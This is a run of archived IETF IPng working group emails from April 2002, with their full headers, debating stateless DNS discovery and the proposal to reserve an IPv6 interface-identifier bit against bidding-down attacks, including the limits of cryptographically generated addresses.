07:39:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34FdHPg014661; Thu, 4 Apr 2002 07:39:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FdDKL014654 for ; Thu, 4 Apr 2002 07:39:14 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA13278 for ; Thu, 4 Apr 2002 07:39:15 -0800 (PST) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.46]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA27701 for ; Thu, 4 Apr 2002 08:39:14 -0700 (MST) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g34FdD3G010424 for ; Thu, 4 Apr 2002 17:39:13 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Thu Apr 04 17:36:42 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 17:26:27 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC21@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: ipng@sunroof.eng.sun.com Subject: Stateless DNS discovery draft Date: Thu, 4 Apr 2002 17:36:39 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, During the last meeting a question was raised on whether the scenarios for which the stateless DNS discovery draft can be used, were clear to everyone. I think that on a very high level we could basically say that this draft is useful when a host desires to discover a DNS located in the same site for the purpose of address resolution. Examples of where this can be useful: - Corporate networks - Cellular networks: 3GPP is one case where this would be useful for all those who complain about how small the devices are and that the less code the better ;) - ISPs which host a DNS server for customers connected via DSL for example. Of course in this case they would have to define a site accordingly. Any other scenarios ? I think there is a reasonable case for this draft based on the scenarios above. Comments? Cheers, Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 07:45:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FjkKL014715; Thu, 4 Apr 2002 07:45:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34Fjkpk014714; Thu, 4 Apr 2002 07:45:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FjhKL014707 for ; Thu, 4 Apr 2002 07:45:43 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA13102 for ; Thu, 4 Apr 2002 07:45:45 -0800 (PST) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA01778 for ; Thu, 4 Apr 2002 08:45:44 -0700 (MST) Received: from rdroms-w2k.cisco.com (rtp-vpn2-23.cisco.com [10.82.240.23]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA14620 for ; Thu, 4 Apr 2002 10:45:43 -0500 (EST) Message-Id: <4.3.2.7.2.20020404104307.00b6fa30@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 04 Apr 2002 10:45:40 -0500 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: Re: Stateless DNS discovery draft In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AC21@Esealnt861.al.sw. ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I think the third scenario is likely to be problematic. My understanding is that your third scenario would require that the customers' networks all be part of the same site as the ISP network - at least as far in as a DNS server somewhere. I imagine some ISPs might want to draw a site boundary somewhere between the ISP edge and the CPE; either in the CPE or in the ISP edge device or by declaring the CPE-PE link to be not in either site... - Ralph At 05:36 PM 4/4/2002 +0200, Hesham Soliman (ERA) wrote: >Hi, > >During the last meeting a question was raised >on whether the scenarios for which the stateless >DNS discovery draft can be used, were clear to >everyone. >I think that on a very high level we could basically >say that this draft is useful when a host desires >to discover a DNS located in the same site for the >purpose of address resolution. > >Examples of where this can be useful: > >- Corporate networks >- Cellular networks: 3GPP is one case where this > would be useful for all those who complain > about how small the devices are and that the > less code the better ;) > >- ISPs which host a DNS server for customers > connected via DSL for example. Of course in > this case they would have to define a site > accordingly. > >Any other scenarios ? I think there is a reasonable >case for this draft based on the scenarios >above. > >Comments? > >Cheers, >Hesham > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 07:47:39 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FldKL014733; Thu, 4 Apr 2002 07:47:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34Fld6t014732; Thu, 4 Apr 2002 07:47:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FlaKL014725 for ; Thu, 4 Apr 2002 07:47:36 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09392 for ; Thu, 4 Apr 2002 07:47:38 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA20737 for ; Thu, 4 Apr 2002 07:47:36 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id g34FmHF02996; Thu, 4 Apr 2002 22:48:20 +0700 (ICT) From: Robert Elz To: "Hesham Soliman (ERA)" cc: "'Keith Moore'" , Pekka Nikander , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AC1F@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6AC1F@Esealnt861.al.sw.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 04 Apr 2002 22:48:17 +0700 Message-ID: <2994.1017935297@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 4 Apr 2002 17:10:24 +0200 From: "Hesham Soliman (ERA)" Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC1F@Esealnt861.al.sw.ericsson.se> | => How can yahoo.com reliably know any possible client?? It most likely can't, but why exactly is yahoo.com going to care? The assumptions required to mount a plausible case where the bidding down scenario (as interesting a theoretical problem as it is) can actually apply in some way, and especially where allocating an address bit to help avoid id would work, are simply out of this world. That said, of the two current proposals to define a bit to have special meaning in the IID part of an address, this one is much more rational than the other one - that is, to have a bit that says "this IID is unique". That one is even more absurd. Let's just return all the bits in the IID part of the address to whoevevr has been delegated the relevant prefix, to use however they like (with guidance to implementations on how they should behave by default for best interoperability). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 07:59:28 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FxRKL014774; Thu, 4 Apr 2002 07:59:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34FxRM9014773; Thu, 4 Apr 2002 07:59:27 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FxOKL014766 for ; Thu, 4 Apr 2002 07:59:24 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA17745 for ; Thu, 4 Apr 2002 07:59:26 -0800 (PST) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.34]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22117 for ; Thu, 4 Apr 2002 08:59:15 -0700 (MST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g34Fwls7022166 for ; Thu, 4 Apr 2002 17:59:12 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Thu Apr 04 17:58:46 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 17:48:31 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC26@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Robert Elz'" , "Hesham Soliman (ERA)" Cc: "'Keith Moore'" , Pekka Nikander , Bob Hinden , ipng@sunroof.eng.sun.com Subject: RE: Using "a bit" as a protection against bidding down / for some thing else Date: Thu, 4 Apr 2002 17:58:45 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The assumptions required to mount a plausible case where the bidding > down scenario (as interesting a theoretical problem as it is) can > actually apply in some way, and especially where allocating > an address > bit to help avoid id would work, are simply out of this world. => Just so I can understand your point, could you say why. And I mean for the particular applications we've been discussing (ND, MIPv6 ...etc) > That said, of the two current proposals to define a bit to > have special > meaning in the IID part of an address, this one is much > more rational > than the other one - that is, to have a bit that says "this IID is > unique". That one is even more absurd. => I agree that it doesn't make any sense to have a bit in the iid that says it's globally unique. Historically maybe it did, but right now it's obviously useless. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 09:08:39 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34H8dKL015332; Thu, 4 Apr 2002 09:08:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34H8dBt015331; Thu, 4 Apr 2002 09:08:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34H8ZKL015324 for ; Thu, 4 Apr 2002 09:08:35 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA27696 for ; Thu, 4 Apr 2002 09:08:38 -0800 (PST) Received: from mail.tahoenetworks.com (nat-63-99-114-2.tahoenetworks.com [63.99.114.2]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA29433 for ; Thu, 4 Apr 2002 09:08:14 -0800 (PST) Received: from TNEXVS02 ([10.10.1.132]) by mail.tahoenetworks.com with Microsoft SMTPSVC(5.0.2195.1600); Thu, 4 Apr 2002 09:08:37 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1DBFB.5C164B0C" Subject: RE: Allocating a bit in the RFC2374 Interface Identifier Date: Thu, 4 Apr 2002 09:08:37 -0800 Message-ID: <416B5AF360DED54088DAD3CA8BFBEA6E1DF1A7@TNEXVS02.tahoenetworks.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Allocating a bit in the RFC2374 Interface Identifier Thread-Index: AcHbuzuIYSPQpJpRSfaEQrNCMeXDCgAOtD4g From: "Mohan Parthasarathy" To: "Hesham Soliman (ERA)" , "Brian E Carpenter" , "Pekka Nikander" Cc: "Glenn Morrow" , , "Keith Moore" , "Jari Arkko" , "Pekka Savola" , , "Erik Nordmark" X-OriginalArrivalTime: 04 Apr 2002 17:08:37.0656 (UTC) FILETIME=[5C663180:01C1DBFB] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------_=_NextPart_001_01C1DBFB.5C164B0C Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hesham, Agreed. One of the later emails of Pekka (he is really trying hard) is clearing it up a bit i.e the purpose of the bit is not to prevent MiTm attacks (as you say) but to prevent the creation of false bindings. May be all the details (there is quite a bit of them) are not coming together in one piece. May be the promised draft might clear this up I guess. -mohan > -----Original Message----- > From: Hesham Soliman (ERA) [mailto:hesham.soliman@era.ericsson.se]=20 > Sent: Thursday, April 04, 2002 12:29 AM > To: Mohan Parthasarathy; Hesham Soliman (ERA); Brian E=20 > Carpenter; Pekka Nikander > Cc: Glenn Morrow; gab@Sun.COM; Keith Moore; Jari Arkko; Pekka=20 > Savola; ipng@sunroof.eng.sun.com; Erik Nordmark > Subject: RE: Allocating a bit in the RFC2374 Interface Identifier >=20 >=20 >=20 > Mohan, >=20 > I think the problem is in using the bit to convey whether you want=20 > a secure exchange or not. And at the end of the exchange (which=20 > effectively created a binding in the mobility case), MN thinks=20 > it established securely with CN which it has not i.e I set the bit=20 > to indicate I want a secure exchange with some arbitrary node (CN),=20 > but this does not really gurantee anything. It does not=20 > matter whether=20 > you set the bit or not. It all depends on whether MiTM will=20 > occur or not.=20 > So, in the absence of MiTM attack, the bit reaches CN safely=20 > and hence tells=20 > CN whether MN needs a secure exchange or not. But in the=20 > absence of MiTM attack, RR seems sufficient and hence the bit=20 > is not needed. What am I missing ?=20 >=20 > =3D> The bit was not suggested to remove MiTM > attacks, it was suggested to disallow bidding > down attacks by a MiTM. I.e. if the bit was=20 > replaced by some other piece of information > in the packet, this can always be modified > and both sides will simply revert to a weaker > mechanism. But having it in the address will > mean that, if modified, the SA can not be=20 > established, at least not with the intended > identities. The identities being the owners > of the IP addresses in question. >=20 > Hesham >=20 ------_=_NextPart_001_01C1DBFB.5C164B0C Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable RE: Allocating a bit in the RFC2374 Interface Identifier

Hesham,

Agreed. One of the later emails of Pekka (he is really = trying hard) is clearing
it up a bit i.e the purpose of the bit is not to = prevent MiTm attacks (as you say)
but to prevent the creation of false bindings. May be = all the details (there is
quite a bit of them) are not coming together in one = piece. May be the promised
draft might clear this up I guess.

-mohan


> -----Original Message-----
> From: Hesham Soliman (ERA) [mailto:hesham.soliman@era.= ericsson.se]
> Sent: Thursday, April 04, 2002 12:29 AM
> To: Mohan Parthasarathy; Hesham Soliman (ERA); = Brian E
> Carpenter; Pekka Nikander
> Cc: Glenn Morrow; gab@Sun.COM; Keith Moore; Jari = Arkko; Pekka
> Savola; ipng@sunroof.eng.sun.com; Erik = Nordmark
> Subject: RE: Allocating a bit in the RFC2374 = Interface Identifier
>
>
>
> Mohan,
>
> I think the problem is in using the bit to = convey whether you want
> a secure exchange or not. And at the end of the = exchange (which
> effectively created a binding in the mobility = case), MN thinks
> it established securely with CN which it has not = i.e I set the bit
> to indicate I want a secure exchange with some = arbitrary node (CN),
> but this does not really gurantee anything. It = does not
> matter whether
> you set the bit or not. It all depends on = whether MiTM will
> occur or not.
> So, in the absence of MiTM attack, the bit = reaches CN safely
> and hence tells
> CN whether MN needs  a secure exchange or = not. But in the
> absence of MiTM attack, RR seems sufficient and = hence the bit
> is not needed. What am I missing ?
>
> =3D> The bit was not suggested to remove = MiTM
> attacks, it was suggested to disallow = bidding
> down attacks by a MiTM. I.e. if the bit was =
> replaced by some other piece of = information
> in the packet, this can always be = modified
> and both sides will simply revert to a = weaker
> mechanism. But having it in the address = will
> mean that, if modified, the SA can not be =
> established, at least not with the = intended
> identities. The identities being the = owners
> of the IP addresses in question.
>
> Hesham
>

------_=_NextPart_001_01C1DBFB.5C164B0C-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 09:09:17 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34H9HKL015352; Thu, 4 Apr 2002 09:09:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34H9Hbp015351; Thu, 4 Apr 2002 09:09:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34H9DKL015344 for ; Thu, 4 Apr 2002 09:09:13 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA03822 for ; Thu, 4 Apr 2002 09:09:16 -0800 (PST) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.46]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA17533 for ; Thu, 4 Apr 2002 09:09:14 -0800 (PST) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g34H9E3G012371 for ; Thu, 4 Apr 2002 19:09:14 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Thu Apr 04 18:32:51 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBS0878>; Thu, 4 Apr 2002 18:30:53 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC12@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Rami Lehtonen'" , Brian E Carpenter , "Hesham Soliman (ERA)" Cc: "'Pekka Nikander'" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: RE: Using "a bit" as a protection against bidding down / for some thing else Date: Thu, 4 Apr 2002 14:24:58 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > It seems to me that the important point is that a host needs > > to assert something about the strength of security it requires. > > This is a property of a host, not a property of an address. > > I become more and more convinced that asserting this property > > via an address bit is both unnecessary (it can be done by > > a header field that is equally subject to authentication) > > and undesirable (overloading). > > => Mobility is all about managing address changes. In MIP, the identity that matters is the address, not the host. The host has no meaning in the context of MIP. So I think a cryptographically generated address is a property of *that* address. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 09:30:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HUtKL015392; Thu, 4 Apr 2002 09:30:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34HUtpm015391; Thu, 4 Apr 2002 09:30:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HUqKL015384 for ; Thu, 4 Apr 2002 09:30:52 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA03224 for ; Thu, 4 Apr 2002 09:30:55 -0800 (PST) Received: from fridge.docomolabs-usa.com (fridge.docomolabs-usa.com [216.98.102.228]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA28007 for ; Thu, 4 Apr 2002 10:30:50 -0700 (MST) Received: from T23KEMPF (dhcp126.docomolabs-usa.com [172.21.96.126]) by fridge.docomolabs-usa.com (8.11.3/8.11.3) with SMTP id g34HUII22620; Thu, 4 Apr 2002 09:30:18 -0800 (PST) Message-ID: <00e301c1dbfe$2a0a78b0$7e6015ac@T23KEMPF> From: "James Kempf" To: "Pekka Nikander" , "Tony Hain" Cc: "Jari Arkko" , "Brian E Carpenter" , "Hesham Soliman \(ERA\)" , , , "Erik Nordmark" References: <3CABF28B.5010401@nomadiclab.com> Subject: Re: Using "a bit" as a protection against bidding down / for something else Date: Thu, 4 Apr 2002 09:28:41 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, > Thus, this all is really about zero-configuration security. Such > security, by nature, is never "strong" by the strict definition of > strong, but it can be *much* stronger than the current no-security > situation. Basically, such security can provide quite a lot of > defence against various DoS attacks. > I think you are making too strong a claim here. All that CGA does is allow a node to know that a packet came from a node claiming to possess a certain public key. The packet could have been rewritten in transit, or the public key may not come from a reliable source, etc. Real end to end security requires being able to authenticate that the packet contents were not modified in transit, i.e. a digital signature, and that the public key can be trusted. If a signature is used, then Diffie-Hellman or another protocol is required, and both sides must agree on the protocol and the parameters, e.g. p and g if Diffie-Hellman is used, and that the public key came from a trusted source. I think CGA is a good solution to the MIPv6 BU security problem, and maybe for ND security as well, but I think it is prudent to not overstate the case. jak -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 09:43:34 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HhYKL015523; Thu, 4 Apr 2002 09:43:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34HhY0E015522; Thu, 4 Apr 2002 09:43:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HhUKL015515 for ; Thu, 4 Apr 2002 09:43:30 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA07176 for ; Thu, 4 Apr 2002 09:43:33 -0800 (PST) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.34]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA05981 for ; Thu, 4 Apr 2002 10:43:32 -0700 (MST) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g34HhSs7016147 for ; Thu, 4 Apr 2002 19:43:28 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Thu Apr 04 18:48:36 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBTAFNQ>; Thu, 4 Apr 2002 18:46:38 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC25@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Keith Moore'" , "Hesham Soliman (ERA)" Cc: Pekka Nikander , Bob Hinden , ipng@sunroof.eng.sun.com Subject: RE: Using "a bit" as a protection against bidding down / for some thing else Date: Thu, 4 Apr 2002 17:53:57 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > => How can yahoo.com reliably know any possible client? > > if yahoo.com thinks there's any value at all in the > client's IP address, > they're deluded. => I was only following your statement! > > the only way to reliably know a client is if the client > presents you with > cryptographic proof that they sent that message, and you > trust the keying > material on which that proof is based. => Which is the whole reason for this discussion. So I agree! Hesham > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 09:49:25 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HnPKL015561; Thu, 4 Apr 2002 09:49:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34HnPLV015560; Thu, 4 Apr 2002 09:49:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HnMKL015553 for ; Thu, 4 Apr 2002 09:49:22 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA08989 for ; Thu, 4 Apr 2002 09:49:25 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA00390 for ; Thu, 4 Apr 2002 09:49:23 -0800 (PST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id 5A8DD8; Thu, 4 Apr 2002 20:51:05 +0300 (EEST) Message-ID: <3CAC9242.2090706@nomadiclab.com> Date: Thu, 04 Apr 2002 20:49:54 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Keith Moore Cc: "Hesham Soliman (ERA)" , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else References: <200204041535.g34FZpZ01423@astro.cs.utk.edu> Content-Type: text/plain; charset=us-ascii; 